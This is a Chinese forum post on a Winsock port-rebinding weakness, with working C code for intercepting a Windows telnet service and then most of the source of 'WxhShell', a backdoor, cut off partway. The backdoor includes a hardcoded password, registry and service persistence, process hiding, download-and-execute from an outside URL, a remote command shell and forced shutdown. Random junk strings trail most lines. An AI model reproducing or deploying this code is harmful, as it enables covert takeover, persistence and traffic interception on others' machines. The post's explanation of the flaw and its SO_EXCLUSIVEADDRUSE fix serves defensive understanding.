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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NlKnMgt~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (~P&$$qfD  
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  saddr.sin_family = AF_INET; .Ybm27Dk  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^I0SfZ'Y  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?*T`a oB  
!B\\:k]aO^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G67BQG\av  
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  这意味着什么?意味着可以进行如下的攻击: pS%Az)3RZ  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .VUZ4e  
hE=cgO`QU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %pMW5]H  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'g^]ZTxb  
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  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +@!9&5S A  
X)yTx8v4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lu>>~vy6  
nhIITfJJ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aA:Ky&5e  
vH?/YhH|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RH`m=?~J,  
P`"dj@1'  
  #include 9@h>_1RJz  
  #include qYpHH!!C=  
  #include x[vX|oE!A  
  #include    ^)SvH  
  DWORD WINAPI ClientThread(LPVOID lpParam);   GJ*AyYG  
  int main() aqMZ%~7  
  { {ng  
  WORD wVersionRequested; >uQ!B/C!  
  DWORD ret; 9u:MF0:W  
  WSADATA wsaData; z` sH  
  BOOL val; 74KFsir@  
  SOCKADDR_IN saddr; )X@(>b{  
  SOCKADDR_IN scaddr; H fRxgA@  
  int err; ]Rw,5\0  
  SOCKET s;  W6a2I  
  SOCKET sc; >Mn"k\j4  
  int caddsize; 5X  
  HANDLE mt; ^wX_@?aKtt  
  DWORD tid;   vv3dr_l:  
  wVersionRequested = MAKEWORD( 2, 2 ); o?b"B+#  
  err = WSAStartup( wVersionRequested, &wsaData ); 7Fq|Zc`P  
  if ( err != 0 ) { ;BI{v^()s  
  printf("error!WSAStartup failed!\n"); _gc2h@x1O  
  return -1; [0 W^|=#K  
  } >_5D`^  
  saddr.sin_family = AF_INET; F~{ 4)`  
   { }>"f]3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 sx/g5 ?zh  
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  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *fjarZu  
  saddr.sin_port = htons(23); UP,(zKTA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '8}\! i&  
  { =B; )h  
  printf("error!socket failed!\n"); M HgS5b2  
  return -1; ^m5{:\ Xk  
  }  1 ft. ZJ  
  val = TRUE; "e_ED*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v+\E%H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7$^V_{ej  
  { UboOIx5:  
  printf("error!setsockopt failed!\n"); :?60pu=  
  return -1; h<6r+*T' p  
  } E[$['0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @ #V31im"N  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -8EdTc@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4ba1c  
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  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0a(*/u  
  { oXGf#>keg  
  ret=GetLastError(); p*>[6{$3)O  
  printf("error!bind failed!\n"); 0|HhA,u  
  return -1; D]4?UL  
  } #M_QSD}&  
  listen(s,2); a5&wS@) ;  
  while(1) {B[i|(xQx  
  { b?r0n]  
  caddsize = sizeof(scaddr); %';n9M  
  //接受连接请求 g :O.$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3 \kT#nr  
  if(sc!=INVALID_SOCKET) `pLp+#1 `R  
  { {8t;nsdm!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6k ^vF~  
  if(mt==NULL) ;  I=z  
  { E fqa*,k  
  printf("Thread Creat Failed!\n"); c>]_,Br~  
  break; ZkqC1u3  
  } ka]n+"~==\  
  } 0w OgQ n  
  CloseHandle(mt); dso\+s  
  } hR. EZ|.  
  closesocket(s); PUa~Apj '  
  WSACleanup(); JhuK W>7  
  return 0; "+| >nA=7  
  }   E6n;_{Se/S  
  DWORD WINAPI ClientThread(LPVOID lpParam) <@Ew-JU  
  { ?lbX.+  
  SOCKET ss = (SOCKET)lpParam; }}ogdq  
  SOCKET sc; *aTM3k)Zs  
  unsigned char buf[4096]; ~>{<r{H"S  
  SOCKADDR_IN saddr; Q>X ;7nt0  
  long num; Phx/9Kk  
  DWORD val; 8_KXli}7=  
  DWORD ret; ."3 J;j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E{j6OX\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /AWHG._  
  saddr.sin_family = AF_INET; 1-q\C<Q)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q9rE_} Z  
  saddr.sin_port = htons(23); U~7.aZHPx3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $bD!./fl  
  { [J:vSt  
  printf("error!socket failed!\n"); !WbQ`]uN/#  
  return -1; F@?QVdY1q7  
  } + J_W}G  
  val = 100; }p&aI?-B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |4dNi1{Zd  
  { Ef7 Kx49I  
  ret = GetLastError(); 654PW9{(  
  return -1; u} KiSZxt  
  } I</Nmgf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ECl[v%R/6  
  { t7lRMCN  
  ret = GetLastError(); ,ll!19y  
  return -1; B{zIW'Ld  
  } G-rN?R.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]Q^oc  
  { GTLlQy)'=  
  printf("error!socket connect failed!\n"); Wlt shZo  
  closesocket(sc); ^GL0|G=(1  
  closesocket(ss); !(+?\+U lE  
  return -1; e _,_:|t  
  } L9G=+T9  
  while(1) rNI3_|a  
  { 4 9#I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \QHM7C T  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 jQf1h|e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \*_qP*vq@  
  num = recv(ss,buf,4096,0); mD|<qsY)  
  if(num>0) 0E++  
  send(sc,buf,num,0); KX*e2 /0  
  else if(num==0)  vlE#z  
  break; $|A vT;4  
  num = recv(sc,buf,4096,0); O:D`6U+0  
  if(num>0) ULsz<Hj  
  send(ss,buf,num,0); ~PS%^zxyn  
  else if(num==0) Oi7:J> [  
  break; M8 ++JI  
  } F2+lwycY  
  closesocket(ss); NH|v`rO  
  closesocket(sc); g%^Zq"  
  return 0 ; h~<#1'/<  
  } ~lQ]PKJ"  
BhNwC[G?m  
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========================================================== hWuq  
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下边附上一个代码,,WXhSHELL sp AYb<  
c*LnLK/m  
========================================================== [?;oiEe.|  
=(zk-J<nY  
#include "stdafx.h" `(16_a  
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#include <stdio.h> 3DgI.V6un  
#include <string.h> N[=nh)m7b  
#include <windows.h> ~|?2<g$gYR  
#include <winsock2.h> k%uRG_  
#include <winsvc.h> g,x$z~zU{  
#include <urlmon.h> w6Ue5Ix,!  
-Xx,"[sN\w  
#pragma comment (lib, "Ws2_32.lib") o'R_kadN[T  
#pragma comment (lib, "urlmon.lib") K@ W~  
RU[{!E  
#define MAX_USER   100 // 最大客户端连接数 I7]45pF  
#define BUF_SOCK   200 // sock buffer @-Gf+*GZys  
#define KEY_BUFF   255 // 输入 buffer a#KxjVM  
nj)M$'  
#define REBOOT     0   // 重启 g"<kj"  
#define SHUTDOWN   1   // 关机 \#~~,k 6f  
C$rZn%dp(  
#define DEF_PORT   5000 // 监听端口 o$2fML  
w=O:|Xu#*  
#define REG_LEN     16   // 注册表键长度 n j1 cqh  
#define SVC_LEN     80   // NT服务名长度 mnG\UK,k  
b/WVWDyob/  
// 从dll定义API .bew,92  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7%L-;xcr]B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T*LbZ"A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5E~][. d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ./.E=,j  
wxvt:= =  
// wxhshell配置信息 T,jxIFrF  
struct WSCFG { %_} #IS1  
  int ws_port;         // 监听端口 0wxQ,PI1'  
  char ws_passstr[REG_LEN]; // 口令 "<bL-k*H)  
  int ws_autoins;       // 安装标记, 1=yes 0=no gTiDV{ Ip  
  char ws_regname[REG_LEN]; // 注册表键名 -3ha LdRk6  
  char ws_svcname[REG_LEN]; // 服务名 0]NjsOU =  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A9F&XF7{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &>sG x K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5wr0+Xo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sp'q=^t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '(I"54W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .LV=Z0ja  
7*u0)Hog  
}; !/Hln;{  
7Nx@eoZ  
// default Wxhshell configuration wgfn:LR  
struct WSCFG wscfg={DEF_PORT, jhK&Z7;  
    "xuhuanlingzhe", @$Z5A g!  
    1, 0vDP- qJV-  
    "Wxhshell", ?T?%x(]I  
    "Wxhshell", Xdw%Hw  
            "WxhShell Service", YjLPW@  
    "Wrsky Windows CmdShell Service", vPpbm  
    "Please Input Your Password: ", IRXpk 6|  
  1, i^="*t\i  
  "http://www.wrsky.com/wxhshell.exe", , lT8gQ|u  
  "Wxhshell.exe" :9]23'Md  
    }; &`t-[5O\  
"'s`?  
// 消息定义模块 nn5S7!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B.|2w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #S_LKc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aRj3TtFh  
char *msg_ws_ext="\n\rExit."; dzggl(  
char *msg_ws_end="\n\rQuit."; rJD>]3D5p  
char *msg_ws_boot="\n\rReboot..."; u~% m(  
char *msg_ws_poff="\n\rShutdown..."; gXs@FhR0  
char *msg_ws_down="\n\rSave to "; u=k\]W-  
h.=YAcR0D  
char *msg_ws_err="\n\rErr!"; 9sJbz=o]r  
char *msg_ws_ok="\n\rOK!"; 2{#*z%|z  
m6aoh^I  
char ExeFile[MAX_PATH]; -mcLT@  
int nUser = 0; C[<&% =  
HANDLE handles[MAX_USER]; :cIE8<\%  
int OsIsNt; v" y e\ZG  
ml\7JW6Rx  
SERVICE_STATUS       serviceStatus; U#@:"v|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !|,=rM9x  
+=U`  
// 函数声明 %[;<'s5e~  
int Install(void);  LlnIn{C  
int Uninstall(void); W=PDOzB>K  
int DownloadFile(char *sURL, SOCKET wsh); T\. 8og  
int Boot(int flag); E=HS'XKu[K  
void HideProc(void); }MuXN<DDb  
int GetOsVer(void); fJC)>doM  
int Wxhshell(SOCKET wsl); Mp"] =  
void TalkWithClient(void *cs); Ypha{d  
int CmdShell(SOCKET sock); c$@,*c 0n  
int StartFromService(void); nr-VzF7zu  
int StartWxhshell(LPSTR lpCmdLine); 1b* dC;<  
+xFtGF)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I\`:(V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B3)#Ou2  
5N`g  
// 数据结构和表定义 DpI_`TF#$Z  
SERVICE_TABLE_ENTRY DispatchTable[] = ?jz{fU  
{ tgc&DT; E  
{wscfg.ws_svcname, NTServiceMain}, 7s>d/F3*  
{NULL, NULL} 9`-ofwr'|  
}; ]^ZC^z;H  
2|w(d  
// 自我安装 =@w};e#D  
int Install(void) A3!NEFBK  
{ ;,@3bu>r  
  char svExeFile[MAX_PATH]; Ba!`x<wa  
  HKEY key; 2ggW4`"c  
  strcpy(svExeFile,ExeFile); Qh?q 0VKU^  
s13Iu#  
// 如果是win9x系统,修改注册表设为自启动 #q(BR{A>t  
if(!OsIsNt) { R*VZ=i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 75I* &Wl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >3 qy'lm  
  RegCloseKey(key); ;cxYX/fJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { At+on9&=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y#YCc{K [  
  RegCloseKey(key); vTU"c>]  
  return 0; kd!f/'E!  
    } i|.!*/qF  
  } ^ chlAQz(  
} B>YrDJUN  
else { 9Ni$nZN  
Ya304Pjd  
// 如果是NT以上系统,安装为系统服务 DCP "  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (J$JIPF  
if (schSCManager!=0) "R4~ 8r  
{ $N:m 9R  
  SC_HANDLE schService = CreateService Lu1>A {et  
  ( kZPj{^c:  
  schSCManager, 3_vggK%  
  wscfg.ws_svcname, >(:KEA  
  wscfg.ws_svcdisp, nb(#;3DQ  
  SERVICE_ALL_ACCESS, 9bqfZ"6nXY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Zff-Hl  
  SERVICE_AUTO_START, ]V><gZ  
  SERVICE_ERROR_NORMAL, %6kD^K-  
  svExeFile, j%~UU0(J  
  NULL, N[dhNK"  
  NULL, }*IX34  
  NULL, 'Kp|\T r  
  NULL, @2kt6 W  
  NULL tv\P$|LV`8  
  ); LW ntZ.  
  if (schService!=0) gHYYxhW$  
  { B6OggJ9Iq  
  CloseServiceHandle(schService); `'+[Y;s_  
  CloseServiceHandle(schSCManager); z$%ntN#eNA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F RS@-P  
  strcat(svExeFile,wscfg.ws_svcname); YC*S;q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q^O{LGN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %+>I1G  
  RegCloseKey(key); k. px  
  return 0; Z~muQ c?  
    } tUz!]P2BUO  
  } vHJ~~if  
  CloseServiceHandle(schSCManager); N@;6/[8  
} r|?2@VE  
} J=zh+oLCV  
e?RHf_d3T-  
return 1; 1u)I}"{W>  
} ;h0?o*i_  
PNg,bcl  
// 自我卸载 lq1pgM?Kf  
int Uninstall(void) V..m2nQj  
{ 7}TjOWC  
  HKEY key; EQu M|4$ix  
Z78&IbR  
if(!OsIsNt) { d=H C;T)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i#(T?=VPcy  
  RegDeleteValue(key,wscfg.ws_regname); ]5uCs[  
  RegCloseKey(key); 6Dw[n   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~;Xdz/  
  RegDeleteValue(key,wscfg.ws_regname); t4F1[P  
  RegCloseKey(key); :N%]<Mq  
  return 0; 0dXZd2oK@  
  } xqM R[W\x  
} A3M)yWq  
} 0m51nw~B  
else { a"#5JcR3  
UO>p-M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %J2u+K  
if (schSCManager!=0) YX@[z 5*  
{ o`hF1*yp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R &T(S  
  if (schService!=0) /38^N|/Zr  
  { wArNWBM  
  if(DeleteService(schService)!=0) { M0"xDvQ  
  CloseServiceHandle(schService); pbloL3d.;+  
  CloseServiceHandle(schSCManager); YadyRUE  
  return 0; {@B<$g   
  } 3mr9}P9;  
  CloseServiceHandle(schService); A!goR-J]  
  } `')3}  
  CloseServiceHandle(schSCManager); 5I t+ S+a  
} (Cqhk:F  
} )[G5qTO  
H.!M_aJH  
return 1; Sf lHSMFw  
} b_cD >A  
<:>a51HBX  
// 从指定url下载文件 :2K0/@<x  
int DownloadFile(char *sURL, SOCKET wsh) 6S<J'9sE  
{ +<8r?d2  
  HRESULT hr; e9N"{kDs6  
char seps[]= "/"; &YqgMC  
char *token; %3'80u6BCJ  
char *file; e"[o2=v;5  
char myURL[MAX_PATH]; V mKMj'  
char myFILE[MAX_PATH]; n#bC ,  
TJ2$ Z  
strcpy(myURL,sURL); 3 LoB-4u?  
  token=strtok(myURL,seps); W}a&L  
  while(token!=NULL) cFD(Ap  
  { z9'ME   
    file=token; |;Jcf3e(  
  token=strtok(NULL,seps); Rf2;O<  
  } 'd0]`2tVg4  
3QU<vdtr  
GetCurrentDirectory(MAX_PATH,myFILE); O62H4oT  
strcat(myFILE, "\\"); V. \do"m  
strcat(myFILE, file); iHWl%]7sN  
  send(wsh,myFILE,strlen(myFILE),0); A$[@AY$MI  
send(wsh,"...",3,0); F0+u#/#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]"{K5s7  
  if(hr==S_OK) DHgEhf]  
return 0; qZCA16  
else ZIkXy*<(  
return 1; |V%Qp5 XJ  
$(.[b][S  
} Y2QlK1.8V  
[p[Kpunr{l  
// 系统电源模块 O .m; a_  
int Boot(int flag) |f?tyQ  
{ 9m%[ y1v0  
  HANDLE hToken; b2r@vZ]D  
  TOKEN_PRIVILEGES tkp; [bH6>{3u  
 K7 U`  
  if(OsIsNt) { D~U 4K-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0bS\VUB(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N3 07lGb  
    tkp.PrivilegeCount = 1; :74)nbS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .KXpB7:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jrZM  
if(flag==REBOOT) { k0!b@ c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Mm+_>   
  return 0; 50Pz+:  
} Q V4{=1A  
else { Et4gRS)\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >Vn;1|w  
  return 0; '@ (WT~g  
} gGH<%nHW1  
  } 7b \HbgZ  
  else { aXhgzI5]  
if(flag==REBOOT) { W6 f*>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?b:l.0m  
  return 0; egK,e?~  
} V)f/umT%g  
else { +tES:3Pi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =Y?M#3P.I  
  return 0; [8(e`6xePb  
} ~4`LOROC  
}  -*M/,O  
ZlUd^6|:3  
return 1; q} U^H  
} CAX|[  
CES^ c-. k  
// win9x进程隐藏模块 7=aF-;X3jj  
void HideProc(void) S XIo  
{ Wg3y y8vIW  
`Q' 0l},  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #Bj.#5  
  if ( hKernel != NULL ) ~?H _?}e  
  { ~(~fuDT~O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =*~]lz__M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?m}vDd  
    FreeLibrary(hKernel); Q]uxZ;}aF  
  } `h+sSIko  
!X e  
return; pGc_Klq  
} %J5zfNe)&  
 ?; ZTJ  
// 获取操作系统版本 z v*hA/  
int GetOsVer(void) J/:9;{R  
{ Pa 'g=-  
  OSVERSIONINFO winfo; Rs$k3   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *&Np;^~  
  GetVersionEx(&winfo); U^-:qT;CX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9r+]V=  
  return 1; kXFgvIpg<  
  else [nZ3}o  
  return 0; pd?3_yU  
} U,_uy@fE=?  
ps\A\aggML  
// 客户端句柄模块 _?x*F?5=  
int Wxhshell(SOCKET wsl) b%IRIi&,  
{ m-xSF]q=<  
  SOCKET wsh; PO%Z.ol9  
  struct sockaddr_in client; LBh|4S$K  
  DWORD myID; rwWs\~.H  
:aS8%m  
  while(nUser<MAX_USER) F4xYfbwY"]  
{ R^.E";/h  
  int nSize=sizeof(client); w+)MrB-}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lfba   
  if(wsh==INVALID_SOCKET) return 1; 6",S$3q  
s2FJ^4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z@R:~  
if(handles[nUser]==0) 8J-$+ ;  
  closesocket(wsh); :G=N|3  
else "g;^R/sfq  
  nUser++; b)"bX}  
  } t :B~P,r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Rf||(KC<  
7s+3^'  
  return 0; A.8{LY;  
} hsr,a{B%$  
LmE%`qNg  
// 关闭 socket 2Dgulx5kGZ  
void CloseIt(SOCKET wsh) ]:uJ&xUar  
{ `md)|PSU  
closesocket(wsh); r-&Rjg  
nUser--; DgQw`D)+  
ExitThread(0); H`odQkZ!  
} `CP# S7W^  
9%55R >s$  
// 客户端请求句柄 FR"yGx#$  
void TalkWithClient(void *cs) `irz'/"p  
{ }F=scbpXj  
8h  
  SOCKET wsh=(SOCKET)cs; L 1iA ^ x  
  char pwd[SVC_LEN]; R>f$*T  
  char cmd[KEY_BUFF]; $9k7A 8K  
char chr[1]; 1Tz5tU9kR  
int i,j; p_pI=_:  
? WyL|;b*  
  while (nUser < MAX_USER) { wQ]!Y ?I  
yxP(|  
if(wscfg.ws_passstr) { n]c6nX:'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0%$E^`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {>$i)B  
  //ZeroMemory(pwd,KEY_BUFF); p B*8D  
      i=0; US3rkkgDO  
  while(i<SVC_LEN) { lM oi5q  
`/$yCXy  
  // 设置超时 :)hS-*P  
  fd_set FdRead; +0) s {?  
  struct timeval TimeOut; \ t4:(Jp 3  
  FD_ZERO(&FdRead); nQbF~   
  FD_SET(wsh,&FdRead); "5:^aC]  
  TimeOut.tv_sec=8; X!#rw= Q  
  TimeOut.tv_usec=0; Qa-]IKOs  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^'9:n\SKQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4&]Sb}  
`L n,qiA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .;nU" a3'  
  pwd=chr[0]; H&Jp,<\x  
  if(chr[0]==0xd || chr[0]==0xa) { CEbZj z|  
  pwd=0; aly1=j  
  break; ;n1< 1M>!  
  } ]'+PJdA  
  i++; c4H5[LPF  
    } _nW{Q-nh  
a k&G=a6^  
  // 如果是非法用户,关闭 socket {BB#Bh[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0* 7N=  
} lAYyxG#  
MtWzGE=?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R <Mvwu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bn$a7\X-  
=LLix . >  
while(1) { E$!0h_.(  
G?Fqm@J{XT  
  ZeroMemory(cmd,KEY_BUFF); $hv o^$  
gT3i{iU  
      // 自动支持客户端 telnet标准   oTS/z\C"<u  
  j=0; )> >Tj7  
  while(j<KEY_BUFF) { phkfPvL{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Am>^{qh9  
  cmd[j]=chr[0]; rZ[}vU/H`  
  if(chr[0]==0xa || chr[0]==0xd) { zX=K2tH  
  cmd[j]=0; .%Pt[VQ  
  break; 5MU-Eu|*>  
  } dZ]['y%  
  j++; e0rh~@E  
    } Qy< ~{6V  
ICq  
  // 下载文件 9*`(*>S  
  if(strstr(cmd,"http://")) { /XEt2,sI9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qRk<1.  
  if(DownloadFile(cmd,wsh)) +q*Cw>t /  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /O@TqH  
  else _p <]jt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aS2Mx~  
  } 6ooCg>9/Z  
  else { W#^W1j>_G  
9UbD =}W  
    switch(cmd[0]) { C|or2  
  bm`x;M^M  
  // 帮助 X1LwIa>  
  case '?': { _o,Mji|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c_p7vvI&c0  
    break; 60RYw9d%0  
  } Ep }{m<8c  
  // 安装 ^)wTCkH&y  
  case 'i': { [yFf(>B  
    if(Install()) 8Qm%T7]UFb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k+nfW]UNF  
    else ~6bf-Wg'X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IhRWa|{I  
    break; l:Hm|9UZ  
    } .A6i?iROe  
  // 卸载 IZw>!KYG  
  case 'r': { VDnN2)Km*  
    if(Uninstall()) ,\".|m1o.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x~ ;1CB  
    else E![Ye@w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^/`W0kT  
    break; G&7!3u  
    } 4xYW?s(  
  // 显示 wxhshell 所在路径 Dej_(Dz_S  
  case 'p': { 0<^!<i(%  
    char svExeFile[MAX_PATH]; Ad%3 fvn  
    strcpy(svExeFile,"\n\r"); V1h&{D\"  
      strcat(svExeFile,ExeFile); 16pk4f8  
        send(wsh,svExeFile,strlen(svExeFile),0); )c;zNs  
    break; P84uEDY  
    } *{K?JB#W  
  // 重启 z&R #j  
  case 'b': { D=>[~u3H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _zuX6DO  
    if(Boot(REBOOT)) z+~klv 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }4dbS ;C<  
    else { 8(jUCD  
    closesocket(wsh); \7\7i-Vo  
    ExitThread(0); 8? U!PW  
    } 4Y.o RB  
    break; _{k-&I  
    } n^xB_DJ~  
  // 关机 wr`+xYuuC=  
  case 'd': { \jHHj\LLr.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +xL*`fn  
    if(Boot(SHUTDOWN)) XCAy _fL<B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |<2g^ZK)  
    else { :U{$G( <  
